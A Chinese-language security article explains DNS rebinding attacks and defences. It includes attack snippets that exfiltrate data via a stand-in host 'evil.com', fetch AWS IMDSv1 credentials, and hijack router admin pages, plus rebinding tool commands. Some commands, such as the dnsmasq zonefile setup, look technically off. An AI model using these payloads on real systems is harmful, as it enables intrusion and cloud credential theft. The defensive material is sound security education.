1. 漏洞核心原理
DNS重绑定(DNS Rebinding) 是一种利用DNS TTL过期机制,绕过浏览器同源策略(SOP)的攻击技术。攻击者通过控制域名解析,使同一域名在会话期间指向不同IP(如内网地址),实现对内部系统的访问。
攻击三要素:
-
可控域名:攻击者拥有可快速更新DNS记录的域名
-
短TTL设置:DNS记录存活时间极短(如1秒)
-
未验证Host头:目标服务仅依赖域名验证
2. 攻击类型与实战复现
(1) 基础内网渗透
// 恶意页面代码
let attackerDomain = "evil.com"; // 初始解析到攻击者IP(如1.2.3.4)
fetch(`http://${attackerDomain}/api`)
.then(response => response.text())
.then(data => exfil(data));
// DNS记录变更流程:
// 1. 首次解析 evil.com → 1.2.3.4(通过浏览器验证)
// 2. TTL过期后 evil.com → 192.168.1.1(攻击内网路由器)
(2) 云元数据服务攻击
# 利用AWS IMDSv1(无Hop限制)
rebinding_target = "169.254.169.254"
js_payload = f"""
fetch('http://{attackerDomain}/latest/meta-data/iam/security-credentials/')
.then(r => r.text()).then(d => top.postMessage(d,'*'))
"""
(3) 硬件设备控制(IoT案例)
GET /cgi-bin/luci/admin/network/wireless HTTP/1.1
Host: evil.com # 重绑定后指向路由器IP(192.168.0.1)
Referer: http://evil.com
Cookie: sysauth=admin; # 利用已保存Cookie
3. 自动化攻击工具链
工具 | 功能 | 示例命令 |
---|---|---|
Rebinder | 自动化DNS重绑定服务 | python3 rebinder.py -d evil.com -t 192.168.1.1 |
DNSchef | 本地DNS服务器模拟 | dnschef --fakeip 127.0.0.1 --interface 0.0.0.0 |
Burp Collaborator | 盲注检测 | 配合Collaborator Everywhere 插件 |
4. 企业级防御方案
(1) 前端防护
// 强制域名白名单
const ALLOWED_DOMAINS = ['trusted.com'];
if (!ALLOWED_DOMAINS.includes(new URL(url).hostname)) {
throw new Error("Domain not allowed");
}
(2) 服务端加固
方案 | 实施示例 | 作用 |
---|---|---|
Host头验证 | Nginx if ($host !~* ^trusted.com$) { return 403; } |
阻断非法域名 |
连接层过滤 | iptables -A INPUT -p tcp --dport 80 -m recent --name HTTP --set |
限制新连接速率 |
云服务防护 | AWS IMDSv2 X-aws-ec2-metadata-token |
强制会话令牌 |
(3) 网络架构设计
-
出口流量过滤:禁止内网设备向公网DNS服务器查询(强制使用本地DNS)
-
VPC端点策略:限制元数据服务访问源IP
5. 历史漏洞案例
受影响系统 | 攻击方式 | 后果 |
---|---|---|
路由器管理界面 | 重绑定到192.168.1.1 |
获取管理员权限 |
Docker API | 访问172.17.0.1:2375 |
容器逃逸 |
MongoDB | 连接127.0.0.1:27017 |
数据库未授权访问 |
6. 渗透测试方法论
-
目标识别:
-
查找未校验Host头的服务(如API、管理界面)
-
检测是否存在
Access-Control-Allow-Origin: *
-
-
攻击模拟:
# 使用FakeDNS设置短TTL
echo "evil.com 1 IN A 1.2.3.4" > zonefile
echo "evil.com 1 IN A 192.168.1.1" >> zonefile
dnsmasq -d -C zonefile
-
漏洞验证:
-
使用
curl -H "Host: evil.com" http://192.168.1.1
-
观察是否返回敏感数据
-
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容